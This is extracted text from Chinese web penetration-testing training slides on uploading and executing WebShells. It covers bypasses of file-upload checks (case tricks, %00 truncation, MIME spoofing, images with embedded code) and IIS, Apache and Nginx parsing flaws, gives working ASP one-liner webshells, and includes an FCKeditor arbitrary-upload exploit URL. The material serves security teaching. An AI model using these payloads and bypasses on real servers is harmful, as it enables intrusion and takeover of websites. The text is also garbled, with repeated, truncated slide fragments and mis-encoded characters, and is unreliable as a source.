國菜刀中國菜刀是菜刀作者從之前的WebShell管理器的基礎上修改而來的功能更加強大,該工具主要功能是連接asp、aspx、php、jsp一句話木馬并提供了文件管理、虛擬終端、數據庫管理等常見功能,另外該工具還提供了安全掃描、定時提醒、快速啟動、瀏覽器等實用小功能,其中安全掃描功能很強大,掃描速度很快。中國菜刀中國菜刀是菜刀作者從之前的WebShell管理器的基海陽頂端ASP木馬C/S模式轉換器使用海陽頂端ASP木馬C/S模式轉換器可以自動生成服務器端一句話木馬程序以及客戶端程序。打開海陽頂端2006α版目錄下2006X.exe文件,如下圖使用圖上圖

“打開”按鈕選擇要上傳的大馬,點擊轉換即可生成客戶端2006.asp.htm,接著點擊“生成服務器端頁面”按鈕即可生成服務器端sever.asp一句話木馬,先上傳sever.asp到服務器端,然后利用2005.asp.htm連接sever.asp上傳大馬。海陽頂端ASP木馬C/S模式轉換器使用海陽頂端ASP木馬C總結總結總結本文首先研究了繞過各種主流限制上傳WebShell方法,包括繞過客戶以及服務器端限制上傳WebShell、利用寫入過濾不全上傳WebShell、利用主流服務器漏洞上傳WebShell、利用sql注入上傳WebShell、利用WebDAV上傳WebShell、利用.htaccess文件上傳WebShell。其次,介紹執(zhí)行WebShell,由于命令執(zhí)行時WebShell比較基礎又比較復雜部分,因此單獨拿出來進行研究,主要研究了分別在asp、aspx、php、jsp等環(huán)境下執(zhí)行系統(tǒng)命令的方法并進行了實驗??偨Y本文首先研究了繞過各種主流限制上傳WebShell方法,總結

接下來,介紹了主流WebShell的提取方法,包括利用開發(fā)的服務器提權、利用軟件特性提權、利用軟件溢出提權、利用宿主系統(tǒng)dll提權、利用dba提權、利用hash提權、利用網絡嗅探提權、利用系統(tǒng)以及軟件漏洞提權、社會工程提權。最后簡單介紹了下AF庫防御WebShell的方法、常見的WebShell逃逸方法以及WebShell利用工具。總結

接下來,介紹了主流WebShell的提取方法,深信服應用層安全培訓-Web滲透測試系列-X-文課件深信服應用層安全培訓-Web滲透測試系列-X-文課件Web滲透測試系列_X_WebShell上傳Web滲透測試系列_X_WebShell上傳整體框架WebShell上傳探測階段WebShell上傳利用階段執(zhí)行WebShellWebShell提權防御與逃逸常用工具總結培訓提綱整體框架培訓提綱整體框架整體框架概述WebShell上傳主要包括探測和利用階段,具體如下:探測階段:該階段主要是搜集可測試點,以方便下一步的利用。利用階段:該階段主要是利用探測的漏洞上傳并執(zhí)行WebShell。概述WebShell上傳主要包括探測和利用階段,具體如下:WebShell上傳滲透測試框架WebShell上傳滲透測試框架WebShell上傳探測階段WebShell上傳探測階段WebShell上傳探測階段原理說明收集過程WebShell上傳探測階段原理說明原理說明上傳探測階段沒有什么原理,主要是搜集可探測點,常見的可測試點包括應用程序上傳功能(諸如上傳頭像、附件上傳等)、用戶可控的輸入點或者參數(頁面POST表單部分、url參數、sql注入點等)、HTTP開啟的方法(諸如WebDAV)等,收集可測試點的過程中,應盡量確保覆蓋范圍,不遺漏每一個可測試點,搜集過程推薦使用WVS工具spider功能。原理說明上傳探測階段沒有什么原理,主要是搜集可探測點,常見的收集過程利用WVS的spider工具收集可測試點,如下圖:spider發(fā)現(xiàn)了危險的上傳目錄(紅框1處)、開啟了WebDAV方法等漏洞,根據掃描結果方便接下來依據不同結果進行利用。另外有些可測試點WVS的spider是爬不出來,包括內斂sql注入點、不允許爬蟲掃描的上傳目錄等,這些只能靠手工探測。收集過程利用WVS的spider工具收集可測試點,如下圖:WebShell上傳利用階段WebShell上傳利用階段簡介直接上傳WebShell繞過客戶端檢測上傳WebShell繞過服務端文件擴展名檢測上傳WebShell繞過服務端MIME類型檢測上傳WebShell繞過文件內容檢測上傳WebShell繞過服務端目錄路徑檢測上傳WebShell利用服務器漏洞上傳WebShell利用sql注入上傳WebShell利用WebDAV上傳WebShell利用.htaccess文件上傳WebShell簡介直接上傳WebShell直接上傳WebShell探測到上傳點后,接下來進入上傳WebShell步驟,假如服務器端對用戶提交參數或者文件沒有進行過濾或者過濾不當,則能夠直接上傳WebShell,那么接下來進入執(zhí)行WebShell步驟即可。直接上傳WebShell探測到上傳點后,接下來進入上傳Web繞過客戶端檢測上傳WebShell客戶端檢測即通過用戶請求返回頁面部分的js腳本驗證用戶的輸入,該檢測在客戶端檢測,具有該檢測方法的明顯表現(xiàn)是在用戶上傳文件到服務器之前客戶端js會進行檢測,假如不符合檢測要求會提示相應錯誤,接下來舉例說明,并列舉出相應的繞過方法。繞過客戶端檢測上傳WebShell客戶端檢測即通過用戶請求返繞過客戶端檢測上傳WebShell服務器端含有檢測js腳本的文件UPLOAD_CS_1.aspx代碼如下圖上圖紅框1處是服務器端返回用戶請求頁面中用于檢測客戶端上傳文件類型的js腳本,該客戶端驗證要求只能上傳.txt和.docx兩種類型,紅框2處是使用onmouseover事件觸發(fā)check_file函數。繞過客戶端檢測上傳WebShell服務器端含有檢測js腳本的繞過客戶端檢測上傳WebShell輸入:http://[IP]/UPLOAD_CS_1.aspx,同時上傳1.jpg文件,頁面返回如下圖:繞過客戶端檢測上傳WebShell輸入:http://[IP繞過客戶端檢測上傳WebShell上圖中鼠標剛放到“上傳文件”按鈕便彈出了一個警告對話框,由此易知這種情況是客戶端js檢驗,查看返回頁面的的源代碼:如上圖可以確定此種情況是客戶端js驗證。繞過客戶端檢測上傳WebShell上圖中鼠標剛放到“上傳文件繞過客戶端檢測上傳WebShell接下來使用代理工具繞過客戶端驗證,例如上傳1.asp文件,先將文件名改為1.txt,代開burpsuite代理工具,點擊“上傳文件”按鈕,burpsuite截獲如下圖:繞過客戶端檢測上傳WebShell接下來使用代理工具繞過客戶繞過客戶端檢測上傳WebShell把上圖紅框處1.txt改為1.asp,然后點擊“forward”按鈕,查看服務器端Files文件夾,如下圖。從上圖可以得出結論利用代理工具成功繞過客戶端驗證繞過客戶端檢測上傳WebShell把上圖紅框處1.txt改為繞過服務端文件擴展名檢測上傳WebShell服務器端文件擴展名檢測是指服務器端應用程序通過檢測用戶上傳文件的后綴名從而做出允許或者阻止的一種方法,該方法包含黑名單和白名單兩種形式,具體如下:黑名單檢測:一般是建立一個專門的blacklist文件,里面枚舉常見的危險文件后綴。白名單檢測:一般是定義一個允許或者阻止用戶上傳文件類型的后綴的文件,里面枚舉相應的文件后綴。繞過服務端文件擴展名檢測上傳WebShell服務器端文件擴展繞過黑名單檢測方法文件名大小寫繞過用向AsP、Aspx之類的文件名繞過黑名單檢測;名單列表繞過用黑名單里沒有的名單進行攻擊,iis默認執(zhí)行.asp、.asa、.cer,有時候黑名單過濾不全沒有過濾掉像后綴為asa、cer之類的,但這些文件可以像asp文件一樣執(zhí)行,此時可以使用這些后綴繞過黑名單。繞過黑名單檢測方法文件名大小寫繞過繞過黑名單檢測方法特殊文件名繞過比如發(fā)送的HTTP包里把文件名改成test.asp.或test.asp_(下劃線為空格),這兩種命名方式在windows系統(tǒng)里是不被允許的,所以需要在代理工具burpsuite進行修改,然后繞過驗證后,會被windows系統(tǒng)自動去掉后面的點和空格,但注意Unix/Linux系統(tǒng)沒有此特性。0x00截斷在許多語言的常用字符串處理函數中,0x00被認為是終止符,比如應用只允許上傳jpg圖片,那么可以構造文件名為2.asp%00.jpg,.jpg繞過了應用的上傳文件類型判斷,但對于服務器來說,此文件因為%00字符截斷的關系,最終會以2.asp存入路徑里。繞過黑名單檢測方法特殊文件名繞過繞過白名單檢測方法0x00截斷基于白名單檢查主要使用0x00截斷繞過,同黑名單0x00截斷繞過,接下來舉例說明。服務器端白名單檢測文件為UPLOAD_CS.aspx.cs,部分代碼如下圖繞過白名單檢測方法0x00截斷繞過白名單檢測方法上圖紅框處枚舉了允許上傳gif、GIF、swf、SWF后綴文件,該部分為該代碼的白名單檢測部分,同時該文件用白名單規(guī)定了不允許上傳后綴文件,如下圖如上圖可以看出使用了白名單規(guī)定了不允許上傳后綴為asp、aspx以及dll的文件,接下來實驗使用%00繞過驗證,具體如下繞過白名單檢測方法上圖紅框處枚舉了允許上傳gif、GIF、s繞過白名單檢測方法輸入:http://[IP]/UPLOAD_CS_2.aspx,如果直接上傳2.asp文件,頁面返回如下圖上圖顯示上傳后綴為asp的文件失敗,把上傳文件名改為2.asp.%00.jpg,繼續(xù)上傳,頁面返回如圖繞過白名單檢測方法輸入:http://[IP]/UPLOAD繞過白名單檢測方法上圖顯示上傳后綴為asp的文件失敗,把上傳文件名改為2.asp.%00.jpg,繼續(xù)上傳,頁面返回如圖從上圖可以得出結論成功上傳2.asp%00.jpg文件,.jpg繞過了應用的白名單檢測,但對于服務器來說,由于后臺某些函數作用(諸如CreateTextFile()),此文件會被%00字符截斷,最終會以2.asp存入路徑里。繞過白名單檢測方法上圖顯示上傳后綴為asp的文件失敗,把上傳繞過服務端MIME類型檢測上傳WebShell有時候僅僅對文件名后綴進行判斷并不能有效阻止惡意文件的上傳(比如某服務器只允許上傳jpg文件格式,不允許上傳后綴為php等文件,但是把后綴為php改為后綴為jpg上傳到服務器,某些情況下也能執(zhí)行上傳文件),因此對文件格式進行檢測十分必要,也就是服務器端MIME類型檢測。服務器端MIME類型檢測asp、aspx利用response對象的ContentType屬性,php利用$_FILES[‘userfile’][‘type’]、jsp也使用response對象的ContentType屬性(與asp類似)。繞過服務端MIME類型檢測上傳WebShell有時候僅僅對文繞過服務端MIME類型檢測上傳WebShell接下來以aspx為例通過檢測http包的content-type字段的值來判斷上傳文件是否合法,實驗使用的服務器端文件為mime.aspx,部分代碼如下圖。上圖紅框處使用POSTFile對象的ContentType屬性,限定只允許上傳application/zip類型。繞過服務端MIME類型檢測上傳WebShell接下來以asp繞過服務端MIME類型檢測上傳WebShell輸入:http://[IP]/mime.aspx,上傳文件2.asp文件,頁面返回如下圖。上圖返回錯誤頁面,提示“不支持的mime文件”,接下來使用burpsuite攔截請求,如下圖。繞過服務端MIME類型檢測上傳WebShell輸入:http繞過服務端MIME類型檢測上傳WebShell修改圖上圖中紅框處為application/zip,再次上傳2.asp文件,查看files文件夾(該文件夾為上傳文件默認目錄),頁面返回下圖。上圖頁面返回顯示2.asp文件上傳成功。繞過服務端MIME類型檢測上傳WebShell修改圖上圖中紅繞過文件內容檢測上傳WebShell文件內容檢測即通過檢測特定文件某些特殊標志位來判斷是否是允許上傳的文件,比如以后綴為jpg圖片文件為例,該文件頭有一組特殊二進制數標識FFD8FFE000104A464946(這些二進制數也叫文件幻數),那么就可以通過判斷上傳文件的文件頭來驗證文件的類型。其實檢測文件幻數只是檢測的一項內容,還可以對文件相關信息、文件渲染加載后檢測,面對這些檢測,可以把一句話木馬注入圖片文件最后面,這樣既實現(xiàn)了代碼注入也不會破壞圖片結構,具體步驟如下:代碼注入圖片引用創(chuàng)建的文件使用客戶端連接一句話木馬繞過文件內容檢測上傳WebShell文件內容檢測即通過檢測特代碼注入圖片首先準備圖片picture.jpg,然后把asp一句話木馬(諸如<%execute(request(“value”))%>)插入圖片最后,如下圖所示上圖紅框1出為標識jpg文件的幻數,紅框2處為植入的一句話木馬,把該圖片上傳到服務器端。代碼注入圖片首先準備圖片picture.jpg,然后把asp引用創(chuàng)建的文件同時創(chuàng)建一個引用包含一句話木馬的圖片的文件picture.asp,代碼如下:<!--#includefile="picture.jpg"-->把該文件上傳到服務器端(這里之所以先上傳jpg文件,再上傳一個引用上傳jpg的asp文件,主要目的是為了隱藏一句話木馬的目的)。引用創(chuàng)建的文件同時創(chuàng)建一個引用包含一句話木馬的圖片的文件pi使用客戶端連接一句話木馬客戶端代碼c1.html代碼如下圖:其中Adodb.Stream是ADO的Stream對象,提供存取二進制數據或者文本流,從而實現(xiàn)對流的讀、寫和管理等操作。使用客戶端連接一句話木馬客戶端代碼c1.html代碼如下圖:使用客戶端連接一句話木馬該代碼主要是服務器端一句話木馬s1.asp接收c1.html第一個textarea里的值生成一個newmm.asp大馬文件,同時利用lP.writetextrequest("CMD")接收第二個textarea大馬內容寫入newmm.asp文件里,這樣直接訪問newmm.asp文件,即獲得了WebShell。使用瀏覽器打開客戶端c1.html,如圖下圖所示使用客戶端連接一句話木馬該代碼主要是服務器端一句話木馬s1.使用客戶端連接一句話木馬上圖紅框處為海洋2005木馬,點擊提交后,訪問上傳木馬,如下圖。如上圖可知上傳WebShell成功。使用客戶端連接一句話木馬上圖紅框處為海洋2005木馬,點擊提繞過服務端目錄路徑檢測上傳WebShell服務器端目錄路徑檢測即對用戶提交目錄路徑參數進行檢測,有時候檢測不夠嚴謹而導致可以用%00截斷進行攻擊,該漏洞的本質同黑名單檢測%00截斷本質一樣,但該漏洞要求服務器端應用程序具有處理用戶提交的目錄路徑參數函數,不具有通用性,這里僅介紹下原理。以fckeditorphp<=2.6.4任意文件上傳漏洞為例,存在漏洞代碼如下圖繞過服務端目錄路徑檢測上傳WebShell服務器端目錄路徑檢繞過服務端目錄路徑檢測上傳WebShell輸入:/fckeditor264/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=fuck.php%00.gifHPPT/1.0CurrentFolder這個變量的值會傳到上圖有漏洞代碼ServerMapFolder($resourceType,$folderPath,$sCommand)中的形參$folderPath里,而$folderPath在這個函數中并沒做任何檢測,就傳入CombinePaths()函數,同時變量CurrentFolder中%00后面的會被截斷,實際上傳的是fuck.php。繞過服務端目錄路徑檢測上傳WebShell輸入:利用過濾不完全上傳WebShell利用過濾不完全把一句木馬寫入服務器端是目前得到WebShell的最為主要的方法之一,該方法分為兩步,具體如下:上傳一句話木馬:常見的一句話木馬分為asp一句話、aspx一句話、php一句話以及jsp一句話,它們工作原理大致類似,這里以asp一句話木馬為例,代碼為:<%executerequest("value")%>使用客戶端連接上傳大馬:客戶端代碼使用繞過文件內容檢測上傳c1.html。利用過濾不完全上傳WebShell利用過濾不完全把一句木馬寫上傳一句話木馬使用上傳頁面上傳一句話木馬如下:上圖為上傳WebShell的上傳頁面。上傳一句話木馬使用上傳頁面上傳一句話木馬如下:使用客戶端連接上傳大馬使用瀏覽器打開客戶端c1.html,如下圖上圖紅框處為海洋2005木馬,點擊提交后,訪問上傳木馬,如圖下從上圖可知獲得了一個WebShell,其實小馬上傳成功后是不需要再上傳大馬了,通過POST表單方式傳遞給小馬照樣可以執(zhí)行大馬(即大馬在內存中執(zhí)行),且隱藏性更強。使用客戶端連接上傳大馬使用瀏覽器打開客戶端c1.html,如利用服務器漏洞上傳WebShell解析漏洞產生是由于webserver本身特性功能設計存在缺陷造成的漏洞,如果加以利用,將會變成威力巨大的武器,本節(jié)內容如下:IIS6.0解析漏洞1IIS6.0解析漏洞2IIS7.0/7.5解析漏洞Apache文件解析漏洞Nginx解析漏洞利用服務器漏洞上傳WebShell解析漏洞產生是由于webIIS6.0解析漏洞1此洞原理是處理文件擴展名出錯,導致將/.*asp/目錄下的所有文件都作為asp文件進行解析。此外具有此特性的不單單是類似/.*asp/目錄,還包括/.*cer/、/.*asa/、/.*cdx/、/.*cer\(此種類型瀏覽器直接輸入不允許,需要借助burpsuite工具)、/.*asa\、/.*cdx\目錄,本例子以/.*asp/目錄舉例。IIS6.0解析漏洞1此洞原理是處理文件擴展名出錯,導致將/IIS6.0解析漏洞1假如服務器端存在一個文件名為test.asp目錄,且在該目錄建立實驗文件2.jpg,代碼如下圖:輸入:http://[IP]/test.asp/2.jpg,頁面返回如下圖所示。從上圖可知2.jpg文件被IIS6.0解釋執(zhí)行了。IIS6.0解析漏洞1假如服務器端存在一個文件名為test.IIS6.0解析漏洞2該漏洞的原理是IIS6.0不能正確夠解析文件名包含分號(;)的文件,因此諸如2.asp;xx.jpg類似的文件會被解析成2.asp可執(zhí)行文件,從而導致腳本被執(zhí)行。此外具有此特性的不單單是類似2.asp;xx.jpg,還包括2.cer;xx.jpg、2.asa;xx.jpg、2.cdx;xx.jpg類型,本例子以2.asp;xx.jpg類型舉例。服務器端新建立一個文件名為2.asp;xx.jpg的文件,內容與漏洞1中2.jpg文件內容一樣,輸入:http://[IP]/2.asp;.jpg,頁面返回如下圖。從上圖可知2.asp;xx.jpg文件得以執(zhí)行。IIS6.0解析漏洞2該漏洞的原理是IIS6.0不能正確夠解IIS7.0/7.5解析漏洞IIS7.0/7.5是對php解析時有一個解析漏洞,只要在url后面追加上字符串"/任意文件名.php"就會按照php的方式去解析,其實這個漏洞是出自php-cgi的漏洞,與IIS7.0/7.5本身無關,具體例子如下。服務器端test.jpg代碼為:<?phpecho"HelloWorld";?>輸入:http://[IP]/test.jpg/noexist.php,會將test.jpg當做php進行解析,其中noexist.php是不存在的文件(但后綴必須是.php),頁面返回如下圖所示從上圖可知test.jpg中的代碼得到了執(zhí)行。IIS7.0/7.5解析漏洞IIS7.0/7.5是對phpApache文件解析漏洞Apache對于文件名的解析是從后往前解析的,直到遇見一個apache認識的文件類型為止,比如phpshell.php.rar.rar,由于apache不認識.rar文件類型,所以會一直遍歷后綴直到.php,然后認為這是個php類型的文件,這樣的話可以上傳一個包含一句話木馬文件名類似phpshell.php.rar.rar的文件,訪問該文件將會被當成php文件解析執(zhí)行,具有此漏洞的版本包括:Apache2.2.11、Apache2.2.17、Apache2.2.6、Apache2.0.59、Apache2.2.8,接下來以Apache2.0.59為例,具體如下。Apache文件解析漏洞

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論